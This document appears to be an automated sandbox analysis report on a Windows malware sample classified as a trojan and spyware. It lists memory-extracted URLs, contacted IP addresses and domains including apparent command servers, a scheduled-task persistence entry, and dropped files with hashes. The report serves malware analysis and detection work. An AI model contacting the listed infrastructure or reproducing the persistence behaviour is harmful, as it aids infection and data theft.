http://schemas.xmlsoap.org/ws/2004/04/security/sc/sct	110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/rm/SequenceAcknowledgement	110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT	110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	110B.exe, 0000001E.00000002.553147374.00000000029CE000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000003.537094600.0000000003A38000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.553062547.00000000029B8000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.553357785.0000000002A7A000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.554032647.0000000002C38000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.554745857.0000000003903000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000003.536201191.00000000039C7000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.553920884.0000000002C22000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.553714064.0000000002BCA000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000003.538032817.0000000003AA9000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.553466374.0000000002A90000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000003.538636523.0000000003B1A000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.554592366.0000000003892000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.577639176.0000000002FC6000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.578973490.0000000003185000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.577723822.0000000002FDC000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.576898951.00000000033DA000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.577054149.00000000033F0000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.577905623.0000000006EB0000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.579589197.00000000070AB000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.578808138.0000000007009000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.580255567.0000000007155000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.580429368.000000000716C000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.577399418.0000000006E04000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.590210700.0000000008043000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.578041302.0000000006EC6000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.579417773.0000000007095000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576604373.0000000006D3B000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.590620193.00000000080B5000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.587350628.0000000007C2F000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.590779166.00000000080DE000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.577270501.0000000006DEE000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.589840701.0000000007FD2000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576500275.0000000006D25000.00000004.00000001.sdmp, KNG4E3OZ.37.dr, Q9RQQIMO.25.dr	false		high
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous	110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp	false		high
https://t.me/capibarl	7728.exe, 00000023.00000002.574917027.0000000000C96000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/2005/02/trust/tlsnego#TLS_Wrap	110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2002/12/policy	110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id22Response	C26E.exe, 00000029.00000002.576141783.00000000032B5000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.578041302.0000000006EC6000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search	110B.exe, 0000001E.00000002.553147374.00000000029CE000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000003.537094600.0000000003A38000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.553062547.00000000029B8000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.553357785.0000000002A7A000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.554032647.0000000002C38000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.554745857.0000000003903000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000003.536201191.00000000039C7000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.553920884.0000000002C22000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.553714064.0000000002BCA000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000003.538032817.0000000003AA9000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.553466374.0000000002A90000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000003.538636523.0000000003B1A000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.554592366.0000000003892000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.577639176.0000000002FC6000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.578973490.0000000003185000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.577723822.0000000002FDC000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.576898951.00000000033DA000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.577054149.00000000033F0000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.577905623.0000000006EB0000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.579589197.00000000070AB000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.578808138.0000000007009000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.580255567.0000000007155000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.580429368.000000000716C000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.577399418.0000000006E04000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.590210700.0000000008043000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.578041302.0000000006EC6000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.579417773.0000000007095000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576604373.0000000006D3B000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.590620193.00000000080B5000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.587350628.0000000007C2F000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.590779166.00000000080DE000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.577270501.0000000006DEE000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.589840701.0000000007FD2000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576500275.0000000006D25000.00000004.00000001.sdmp, KNG4E3OZ.37.dr, Q9RQQIMO.25.dr	false		high
http://91.219.236.148:80/capibarb	7728.exe, 00000023.00000002.577288103.000000000287A000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/Issue	110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContext	110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/Issue	110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	false		high
https://get.adob	110B.exe, 0000001E.00000002.553147374.00000000029CE000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.554078417.0000000002C6F000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.579196810.00000000031BC000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.578685355.00000000035CF000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.579589197.00000000070AB000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.578808138.0000000007009000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.580429368.000000000716C000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.577399418.0000000006E04000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576604373.0000000006D3B000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/spnego	110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/sc	110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id18Response	110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575785477.000000000326B000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.578041302.0000000006EC6000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://service.real.com/realplayer/security/02062012_player/en/	110B.exe, 0000001E.00000002.553147374.00000000029CE000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.554078417.0000000002C6F000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.579196810.00000000031BC000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.578685355.00000000035CF000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.579589197.00000000070AB000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.578808138.0000000007009000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.580429368.000000000716C000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.577399418.0000000006E04000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576604373.0000000006D3B000.00000004.00000001.sdmp	false		high
http://docs.oasis-open.org/wss/oasis-wss-wssecurity-secext-1.1.xsd	110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id3Response	110B.exe, 0000001E.00000002.553512076.0000000002ABE000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/rm	110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id19Response(	AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://91.219.236.148/	7728.exe, 00000023.00000002.577012265.000000000284D000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequence	110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/soap/actor/next	110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp	false		high

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	ASN	ASN Name	Malicious
155.248.231.246	downloafilesaccess.ddns.net	United States	6142	SUN-JAVAUS	false
185.7.214.239	unknown	France	42652	DELUNETDE	false
5.188.89.48	host-data-coin-11.com	Russian Federation	34665	PINDC-ASRU	false
188.166.28.199	unknown	Netherlands	14061	DIGITALOCEAN-ASNUS	true
86.107.197.138	unknown	Romania	39855	MOD-EUNL	false
54.38.220.85	unicupload.top	France	16276	OVHFR	false
194.180.174.41	unknown	unknown	39798	MIVOCLOUDMD	false
194.180.174.53	unknown	unknown	39798	MIVOCLOUDMD	false
91.243.44.128	unknown	Russian Federation	395092	SHOCK-1US	false
144.76.136.153	transfer.sh	Germany	24940	HETZNER-ASDE	false
185.233.81.115	unknown	Russian Federation	50113	SUPERSERVERSDATACENTERRU	true
185.7.214.171	unknown	France	42652	DELUNETDE	true
91.219.236.18	unknown	Hungary	56322	SERVERASTRA-ASHU	false
185.186.142.166	unknown	Russian Federation	204490	ASKONTELRU	true
162.159.134.233	cdn.discordapp.com	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.1

General Information

Joe Sandbox Version:	34.0.0 Boulder Opal
Analysis ID:	545835
Start date:	28.12.2021
Start time:	05:17:07
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 13m 58s
Hypervisor based Inspection enabled:	false
Report type:	light
Sample file name:	H4HU4rg1NM.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	44
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@35/33@65/16
EGA Information:	Failed
HDC Information:	Successful, ratio: 24.2% (good quality ratio 18.1%) Quality average: 58.9% Quality standard deviation: 39.8%
HCA Information:	Successful, ratio: 57% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .exe
Warnings:	Show All Behavior information exceeds normal sizes, reducing to normal. Report will have missing behavior information. HTTP Packets have been reduced TCP Packets have been reduced to 100 Exclude process from analysis (whitelisted): MpCmdRun.exe, BackgroundTransferHost.exe, backgroundTaskHost.exe, SgrmBroker.exe, conhost.exe, svchost.exe, wuapihost.exe Excluded IPs from analysis (whitelisted): 23.211.5.146, 23.211.4.86, 23.211.6.115 Excluded domains from analysis (whitelisted): storeedgefd.dsx.mp.microsoft.com.edgekey.net.globalredir.akadns.net, fs.microsoft.com, ctldl.windowsupdate.com, e1723.g.akamaiedge.net, store-images.s-microsoft.com-c.edgekey.net, storeedgefd.dsx.mp.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, arc.msn.com, storeedgefd.xbetservices.akadns.net, ris.api.iris.microsoft.com, e12564.dspb.akamaiedge.net, store-images.s-microsoft.com, displaycatalog.mp.microsoft.com, e16646.dscg.akamaiedge.net, img-prod-cms-rt-microsoft-com.akamaized.net, prod.fs.microsoft.com.akadns.net, storeedgefd.dsx.mp.microsoft.com Not all processes where analyzed, report is missing behavior information Report creation exceeded maximum time and may have missing disassembly code information. Report size exceeded maximum capacity and may have missing behavior information. Report size getting too big, too many NtAllocateVirtualMemory calls found. Report size getting too big, too many NtOpenFile calls found. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtProtectVirtualMemory calls found. Report size getting too big, too many NtQueryAttributesFile calls found. Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
05:18:37	Task Scheduler	Run new task: Firefox Default Browser Agent 3CDA62587ED71AFA path: C:\Users\user\AppData\Roaming\iudbdfd
05:19:01	API Interceptor	1x Sleep call for process: 4D1A.exe modified
05:19:38	API Interceptor	1x Sleep call for process: 8CA5.exe modified
05:19:44	API Interceptor	3x Sleep call for process: 7728.exe modified
05:19:55	API Interceptor	24x Sleep call for process: 110B.exe modified

Joe Sandbox View / Context

IPs

No context

Domains

No context

ASN

No context

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\ProgramData\sqlite3.dll Download File
Process:	C:\Users\user\AppData\Local\Temp\4D1A.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	645592
Entropy (8bit):	6.50414583238337
Encrypted:	false
SSDEEP:	12288:i0zrcH2F3OfwjtWvuFEmhx0Cj37670jwX+E7tFKm0qTYh:iJUOfwh8u9hx0D70NE7tFTYh
MD5:	E477A96C8F2B18D6B5C27BDE49C990BF
SHA1:	E980C9BF41330D1E5BD04556DB4646A0210F7409
SHA-256:	16574F51785B0E2FC29C2C61477EB47BB39F714829999511DC8952B43AB17660
SHA-512:	335A86268E7C0E568B1C30981EC644E6CD332E66F96D2551B58A82515316693C1859D87B4F4B7310CF1AC386CEE671580FDD999C3BCB23ACF2C2282C01C8798C
Malicious:	false
Antivirus:	Antivirus: Metadefender, Detection: 3%, Browse Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....=S.v..?......!................X..............`......................... ......8......... .................................L................................'......................................................p............................text...............................`.0`.data...............................@.@..rdata..$...........................@.@@.bss..................................@..edata..............................@.0@.idata..L...........................@.0..CRT................................@.0..tls.... ...........................@.0..reloc...'.......(..................@.0B/4......`....0......................@.@B/19..........@......................@..B/35.....M....P......................@..B/51.....`C...`...D..................@..B/63..................8..............@..B/77..................F..............@..B/89..................R..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\110B.exe.log Download File
Process:	C:\Users\user\AppData\Local\Temp\110B.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	700
Entropy (8bit):	5.346524082657112
Encrypted:	false
SSDEEP:	12:Q3La/KDLI4MWuPk21OKbbDLI4MWuPJKiUrRZ9I0ZKhat/DLI4M/DLI4M0kvoDLIw:ML9E4Ks2wKDE4KhK3VZ9pKhgLE4qE4jv
MD5:	65CF801545098D915A06D8318D296A01
SHA1:	456149D5142C75C4CF74D4A11FF400F68315EBD0
SHA-256:	32E502D76DBE4F89AEE586A740F8D1CBC112AA4A14D43B9914C785550CCA130F
SHA-512:	4D1FF469B62EB5C917053418745CCE4280052BAEF9371CAFA5DA13140A16A7DE949DD1581395FF838A790FFEBF85C6FC969A93CC5FF2EEAB8C6C4A9B4F1D552D
Malicious:	false
Reputation:	unknown
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..2,"Microsoft.CSharp, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..2,"System.Dynamic, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\sqlite3[1].dll Download File
Process:	C:\Users\user\AppData\Local\Temp\4D1A.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	645592
Entropy (8bit):	6.50414583238337
Encrypted:	false
SSDEEP:	12288:i0zrcH2F3OfwjtWvuFEmhx0Cj37670jwX+E7tFKm0qTYh:iJUOfwh8u9hx0D70NE7tFTYh
MD5:	E477A96C8F2B18D6B5C27BDE49C990BF
SHA1:	E980C9BF41330D1E5BD04556DB4646A0210F7409
SHA-256:	16574F51785B0E2FC29C2C61477EB47BB39F714829999511DC8952B43AB17660
SHA-512:	335A86268E7C0E568B1C30981EC644E6CD332E66F96D2551B58A82515316693C1859D87B4F4B7310CF1AC386CEE671580FDD999C3BCB23ACF2C2282C01C8798C
Malicious:	false
Antivirus:	Antivirus: Metadefender, Detection: 3%, Browse Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....=S.v..?......!................X..............`......................... ......8......... .................................L................................'......................................................p............................text...............................`.0`.data...............................@.@..rdata..$...........................@.@@.bss..................................@..edata..............................@.0@.idata..L...........................@.0..CRT................................@.0..tls.... ...........................@.0..reloc...'.......(..................@.0B/4......`....0......................@.@B/19..........@......................@..B/35.....M....P......................@..B/51.....`C...`...D..................@..B/63..................8..............@..B/77..................F..............@..B/89..................R..

C:\Users\user\AppData\Local\Temp\110B.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	modified
Size (bytes):	537600
Entropy (8bit):	5.844228336269724
Encrypted:	false
SSDEEP:	12288:b3ByxvLoUurnIRnqhHtIS3O3tC5Xi/d5rpyd+g87n3eJg:bRyxUTIRgIV5
MD5:	CCBCF301B4A4C51FC6AC6108E1A0A702
SHA1:	C2FA44AE73649EF3FE9B3E11AC6DEEF05D967D6A
SHA-256:	C956EAF697229C8388BCAD6757441F826AD947F619EB684DC62F769F87CB8D3C
SHA-512:	F30A6606858401734C50F152D0C766F38DE7AA226DB99613BCDE989CD47F015EF7916B168945984D95C81FAB45D975C384194FD44FA28A44B60400F6817042DA
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 60%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....x................0..,...........K... ...`....@.. ....................................@.................................@K..K....`............................................................................... ............... ..H............text....+... ...,.................. ..`.rsrc........`......................@....reloc...............2..............@..B................pK......H............<...........W..5............................................(......0..,.......(c...8.....~....u....s....z&8.........8...................................(c...(.......j................................(.....~(....(]...8....(.........8........................................0..............0...................................(......0.....................0..............(....t.A.........t.A...................................................

C:\Users\user\AppData\Local\Temp\325D.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	339456
Entropy (8bit):	6.210575483974104
Encrypted:	false
SSDEEP:	6144:XFOSX78eVzsodTr6rv6acPyCmyD3+KHZc9FOKV:XvX77wo6rv6acPbmyDP5c9x
MD5:	5E0ED8966761E70EE0B8DCD141AAFB4C
SHA1:	933E68212D0F6D029E920BD93E5DCA7CA5BDCB7A
SHA-256:	8BBDDA1786E15A568A573A2F38762E95DE138AF969E0A13B96D7086AAA98BFC2
SHA-512:	D692905DDD5B1EA92ABED7FD38379947A9B453F5AEDEE91C5BE217E1799CC2B03C898FD99828EFA15A58C7811781DB8CBC90F5330640BF9361F60422DF22EB33
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Metadefender, Detection: 20%, Browse Antivirus: ReversingLabs, Detection: 50%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........@...@...@.../.L.Q.../.x.*...I.A.C...@......./.y.v.../.H.A.../.O.A...Rich@...........PE..L.....e`..................... .......=............@..........................@..................................................(........b......................$!..p...................................@............................................text...N........................... ..`.data...ho..........................@....pejevu......p.......~..............@....dozi...............................@....rsrc....b.......d..................@..@.reloc...;.......<..................@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\4D1A.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	342528
Entropy (8bit):	6.237184840489677
Encrypted:	false
SSDEEP:	6144:XEiNV8ew8pT/JoMWH3KYFsZGpGnjHa3HpRdRgY27:XECx//JoNH3KgsZQGnjWJRdu
MD5:	BABD835D0FE9E63300B037A5AAAA4284
SHA1:	B23D69DA082314A88E5F0EF188F92B60557D056A
SHA-256:	82AC68B07479792AAF1F4AA1BD78154257349BA4057F29752BE2CE05CE3CC1B2
SHA-512:	F9F1F59C656EFEFE7FC3EA4BBC8DCF6D18E7C4AC94EF4749325117F0A1A517FD7D4FCEACC6DB285AE7248B438C805437B5A5A77C240B8E78C83B2BB27FCBB9D7
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 40%
Reputation:	unknown
